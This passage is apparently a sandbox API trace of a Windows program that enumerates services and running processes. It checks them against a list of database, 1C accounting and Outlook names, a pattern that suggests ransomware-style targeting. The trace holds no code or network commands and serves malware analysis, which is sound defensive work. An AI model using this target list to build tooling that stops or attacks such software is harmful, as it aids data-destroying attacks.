lpString2="nsi") returned -1 [0233.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0233.103] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0233.103] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0233.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0233.103] lstrlenW (lpString="PlugPlay") returned 8 [0233.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0233.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0233.103] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0233.103] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0233.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0233.103] lstrlenW (lpString="Power") returned 5 [0233.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0233.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0233.103] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0233.103] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0233.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0233.103] lstrlenW (lpString="ProfSvc") returned 7 [0233.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0233.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0233.104] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0233.104] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0233.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0233.104] lstrlenW (lpString="RpcEptMapper") returned 12 [0233.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0233.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0233.104] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0233.104] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0233.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0233.104] lstrlenW (lpString="RpcSs") returned 5 [0233.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0233.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0233.104] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0233.104] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0233.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0233.104] lstrlenW (lpString="SamSs") returned 5 [0233.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0233.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0233.104] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0233.104] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0233.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0233.104] lstrlenW (lpString="Schedule") returned 8 [0233.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0233.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0233.104] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0233.104] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0233.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0233.104] lstrlenW (lpString="SENS") returned 4 [0233.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0233.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0233.104] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0233.104] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0233.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0233.104] lstrlenW (lpString="ShellHWDetection") returned 16 [0233.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0233.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0233.104] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0233.104] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0233.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0233.105] lstrlenW (lpString="Spooler") returned 7 [0233.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0233.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0233.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0233.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0233.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0233.105] lstrlenW (lpString="Themes") returned 6 [0233.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0233.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0233.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0233.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0233.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0233.105] lstrlenW (lpString="UxSms") returned 5 [0233.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0233.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0233.105] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0233.105] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0233.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0233.105] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5694a0 | out: hHeap=0x530000) returned 1 [0233.105] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0233.108] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.108] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0233.108] lstrlenW (lpString="System") returned 6 [0233.108] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0233.108] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0233.108] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0233.108] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0233.108] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0233.108] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0233.108] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0233.108] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0233.109] lstrlenW (lpString="smss.exe") returned 8 [0233.109] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0233.109] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0233.109] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0233.109] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0233.109] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0233.109] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0233.109] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0233.109] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.109] lstrlenW (lpString="csrss.exe") returned 9 [0233.109] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0233.109] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0233.109] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0233.109] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0233.109] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0233.109] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0233.109] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0233.109] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0233.109] lstrlenW (lpString="wininit.exe") returned 11 [0233.109] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0233.109] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0233.109] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0233.110] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0233.110] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0233.110] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0233.110] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0233.110] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.110] lstrlenW (lpString="csrss.exe") returned 9 [0233.110] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0233.110] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0233.110] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0233.110] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0233.110] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0233.110] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0233.110] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0233.110] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0233.110] lstrlenW (lpString="winlogon.exe") returned 12 [0233.110] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0233.110] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0233.110] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0233.110] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0233.110] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0233.110] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0233.110] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0233.110] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0233.111] lstrlenW (lpString="services.exe") returned 12 [0233.111] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0233.111] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0233.111] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0233.111] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0233.111] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0233.111] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0233.111] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0233.111] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0233.111] lstrlenW (lpString="lsass.exe") returned 9 [0233.111] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0233.111] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0233.111] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0233.111] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0233.111] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0233.111] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0233.111] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0233.111] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0233.112] lstrlenW (lpString="lsm.exe") returned 7 [0233.112] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0233.112] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0233.112] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0233.112] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0233.112] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0233.112] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0233.112] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0233.112] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.112] lstrlenW (lpString="svchost.exe") returned 11 [0233.112] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0233.112] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0233.112] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0233.112] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0233.112] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0233.112] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0233.112] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0233.112] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.113] lstrlenW (lpString="svchost.exe") returned 11 [0233.113] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0233.113] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0233.113] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0233.113] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0233.113] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0233.113] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0233.113] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0233.113] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.113] lstrlenW (lpString="svchost.exe") returned 11 [0233.113] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0233.113] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0233.113] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0233.113] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0233.113] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0233.113] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0233.113] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0233.113] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0233.113] lstrlenW (lpString="LogonUI.exe") returned 11 [0233.113] lstrcmpiW (lpString1="1c8.exe", lpString2="LogonUI.exe") returned -1 [0233.114] lstrcmpiW (lpString1="1cv77.exe", lpString2="LogonUI.exe") returned -1 [0233.114] lstrcmpiW (lpString1="outlook.exe", lpString2="LogonUI.exe") returned 1 [0233.114] lstrcmpiW (lpString1="postgres.exe", lpString2="LogonUI.exe") returned 1 [0233.114] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="LogonUI.exe") returned 1 [0233.114] lstrcmpiW (lpString1="mysqld.exe", lpString2="LogonUI.exe") returned 1 [0233.114] lstrcmpiW (lpString1="sqlservr.exe", lpString2="LogonUI.exe") returned 1 [0233.114] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.114] lstrlenW (lpString="svchost.exe") returned 11 [0233.114] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0233.114] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0233.114] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0233.114] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0233.114] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0233.114] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0233.114] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0233.114] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.114] lstrlenW (lpString="svchost.exe") returned 11 [0233.114] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0233.114] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0233.114] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0233.114] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0233.114] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0233.114] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0233.114] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0233.115] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0233.115] lstrlenW (lpString="audiodg.exe") returned 11 [0233.115] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0233.115] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0233.115] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0233.115] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0233.115] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0233.115] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0233.115] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0233.115] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.115] lstrlenW (lpString="svchost.exe") returned 11 [0233.115] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0233.115] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0233.115] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0233.115] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0233.115] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0233.115] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0233.115] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0233.115] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0233.116] lstrlenW (lpString="dllhost.exe") returned 11 [0233.116] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1 [0233.116] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1 [0233.116] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1 [0233.116] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1 [0233.116] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1 [0233.116] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.116] lstrlenW (lpString="svchost.exe") returned 11 [0233.116] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0233.116] lstrlenW (lpString="userinit.exe") returned 12 [0233.117] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0233.117] lstrlenW (lpString="dwm.exe") returned 7 [0233.117] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0233.117] lstrlenW (lpString="explorer.exe") returned 12 [0233.117] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0233.117] lstrlenW (lpString="spoolsv.exe") returned 11 [0233.117] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0233.118] lstrlenW (lpString="taskhost.exe") returned 12 [0233.118] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.118] lstrlenW (lpString="svchost.exe") returned 11 [0233.118] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="runonce.exe")) returned 1 [0233.118] lstrlenW (lpString="runonce.exe") returned 11 [0233.118] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0233.118] lstrlenW (lpString="uyuquk.exe") returned 10 [0233.118] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, 